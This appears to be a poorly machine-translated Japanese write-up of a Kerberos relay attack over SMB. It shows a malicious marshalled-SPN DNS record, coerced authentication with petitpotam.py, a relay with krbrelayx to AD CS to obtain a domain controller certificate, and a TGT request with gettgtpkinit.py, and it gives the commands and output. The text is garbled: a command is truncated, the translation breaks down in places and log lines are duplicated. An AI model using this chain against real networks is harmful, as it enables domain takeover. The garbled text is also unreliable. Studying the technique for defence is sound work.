SMBベースのKerberosリレー攻撃の解析とkrbrelayxの実習

序文

1、SMBベースのケルベロス

cifs/fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA

セックメイクSPNEx2 関数呼び出し API 関数 クレドマーシャルターゲットインフォこのAPIはこのAPIは クレデンシャル・ターゲット情報 構造体中のターゲット・メッセージのリストは、Base64エンコーディングを使って封印され、実際のSPNの末尾に付加される。

DNSレコードを登録する場合fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA ，客户端会向 cifs/ファイルサーバー Kerberosチケットを要求するが、接続先はfileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA .

バックグラウンドで、クライアントは CredUnmarshalTargetInfo 封印された配信の対象情報を分析する。しかしながら、クライアントは非密封配信の結果を考慮しない。その代わりに、単にカプセル化されたデータの長さを決定し、ターゲットSPN文字列の最後からその部分を取り除く。従って、Kerberosパッケージがターゲット名を受信したときには元のSPNに戻す。

2、krbrelayとKrbrelayx

を使用する。 クルブレレイクス ツールを使ってこのテクニックを試すことができる。このツールはもともとKerberos認証の中継専用に設計されたものではなかったが、2022年のアップデートでこの機能のサポートが追加された。具体的な実装はDNS経由だが、このツール自体にはSMBサーバーが組み込まれており、無制約委任攻撃に関連するすべてのKerberos操作をサポートするために使用することができる。

この設計により、krbrelayxはDNS関連のKerberosリレーだけでなく、他のプロトコル（SMBなど）にも対応できるようになり、テストや研究に大きな柔軟性を提供する。

まず、先に述べたように、悪意のあるレコードを登録し、攻撃者のコンピューター（172.16.1.146）を指すようにする必要がある：

.1.3" --tcp
[ホストに接続中...
[ホストへのバインド
[バインドOK
[新しいレコードの追加
[LDAP 操作が正常に完了しました

任意の強制認証テクニックを使って、ドメイン制御を試み、我々に強制認証を開始させる：

$ petitpotam.py -u 'user' -p 'pass' -d INDUS.LOCAL 'pki41UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' dc03.indus.local

Wiresharkを見ると、以下のことがわかる：

悪意のあるSMBサーバーが受信 AP_REQ 必要な機能がツールに統合されたことを示すメッセージ。クルブレレイクス のおかげで、DNS KerberosサーバーからSMBサーバーに数行のコードを簡単にマージすることができた。SMBサーバーに AP_REQ からの部分を抽出した後 AP_REQ 派生した認証データは、次のように渡される。 ntlmrelayx 様々な攻撃がサポートされている。AP_REQはBase64エンコードされ、以下のヘッダーに含まれる。 認証: Kerberos base64_AP_REQ 

結果は以下の通りである：

$ krbrelayx.py -t 'http://pki4.indus.local/certsrv/certfnsh.asp' --adcs --template DomainController -v 'DC03$'
[*] プロトコルクライアントLDAPがロードされました...
[*] プロトコルクライアントLDAPSがロードされました...
[*] プロトコルクライアント SMB がロードされました... [*] プロトコルクライアント HTTP がロードされました... [*] プロトコルクライアント SMB がロードされました。
[プロトコル クライアント SMB がロードされました。
[攻撃モードで実行中です。
[単一のホストに対して攻撃モードで実行中
[認証情報が指定されていないため、kerberosリレーモードで実行中です。
[SMB サーバーのセットアップ
[*] SMBサーバーのセットアップ [*] ポート80のHTTPサーバーのセットアップ
[DNS サーバーのセットアップ

[サーバーが起動し、接続を待っています。
[*] SMBD: 172.16.1.3からの接続を受信しました。
[HTTP サーバーがステータスコード 200 を返しました。
[*] SMBD: 172.16.1.3から接続を受け取りました。
[HTTP サーバーがステータスコード 200 を返しました。
[CSRを生成しています
[CSR が生成されました！
[証明書の取得
[証明書を取得する... [*] GOT CERTIFICATE！
[PKCS#12 証明書を ./DC03$.pfxに書き込む
[証明書は正常にファイルに書き込まれました
[*] 攻撃がすでに実行されたので、ユーザーDC03$をスキップする

生成された PFX DCにTGTを要請する：

$ gettgtpkinit.py -cert-pfx 'DC03$.pfx' 'INDUS.LOCAL/DC03$' DC03.ccache
INFO:証明書と鍵をファイルから読み込みます
INFO:TGTの要求
INFO:AS-REP暗号化キー（後で必要になるかもしれません）: INFO:5aed9cp
INFO:5aed9cb3f2f7af161efe2d43119e87a2dade54bed6bd4602d82051ecbac549a1
INFO:TGTをファイルに保存